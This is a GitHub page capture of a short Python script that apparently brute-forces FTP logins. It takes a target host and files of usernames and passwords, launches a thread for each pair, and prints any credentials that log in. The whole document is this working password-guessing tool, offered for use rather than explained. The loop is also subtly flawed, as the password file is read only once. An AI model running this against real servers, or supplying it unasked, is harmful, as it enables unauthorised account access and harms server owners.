-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathMybruster_ftp 函数版.py
47 lines (35 loc) · 1.15 KB
/
Mybruster_ftp 函数版.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
# -*- coding:utf-8 -*-
import ftplib
import threading
import argparse
def ftpcrack(host, username, password):
ftp = ftplib.FTP()
try:
ftp.connect(host, 21, 2)
ftp.login(username, password)
ftp.retrlines('LIST')
ftp.quit()
print("{} succeed username{} password {}".format(host, username, password))
return True
except ftplib.all_errors as e:
pass
def main():
parser = argparse.ArgumentParser()
parser.add_argument('host', help='please host you want to crack ,eg:127.0.0.1')
parser.add_argument('userlist', help='userlist eag:user.txt')
parser.add_argument('passlist', help='passlist eg:pass.txt')
args = parser.parse_args()
host = args.host
userfile = args.userlist
passfile = args.passlist
userf = open(userfile, 'r')
passf = open(passfile, 'r')
for line in userf.readlines():
username = line.strip()
for line in passf.readlines():
password = line.strip()
t = threading.Thread(target=ftpcrack, args=(host, username, password))
t.start()
if __name__ == "__main__":
main()